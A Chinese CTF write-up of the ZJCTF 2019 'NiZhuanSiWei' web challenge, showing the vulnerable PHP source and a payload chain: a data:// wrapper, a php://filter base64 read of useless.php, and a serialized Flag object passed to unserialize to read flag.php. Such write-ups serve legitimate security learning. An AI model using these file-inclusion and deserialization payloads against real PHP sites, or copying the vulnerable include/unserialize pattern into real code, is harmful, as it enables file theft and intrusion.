[ZJCTF 2019]NiZhuanSiWei

打开

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf"))
{
echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>"; if(preg_match("/flag/",$file))
  {
echo "Not now!"; exit(); }
  else
  { include($file); //useless.php $password = unserialize($password); echo $password; } } else
{ highlight_file(__FILE__); } ?>

1、需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤

可以用php://input伪协议在以POST形式传入“ welcome to the zjctf "   也可以用data伪协议传参

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

2、正则过滤了flag关键字,提示useless.php,用php://filter协议来读取

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到字符串

base64解码获得useless.php源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

序列化结果

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

构造

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

[ZJCTF 2019]NiZhuanSiWei

上一篇:缓存函数的简单使用


下一篇:ArcObjects您必须有许可证才能使用此ActiveX控件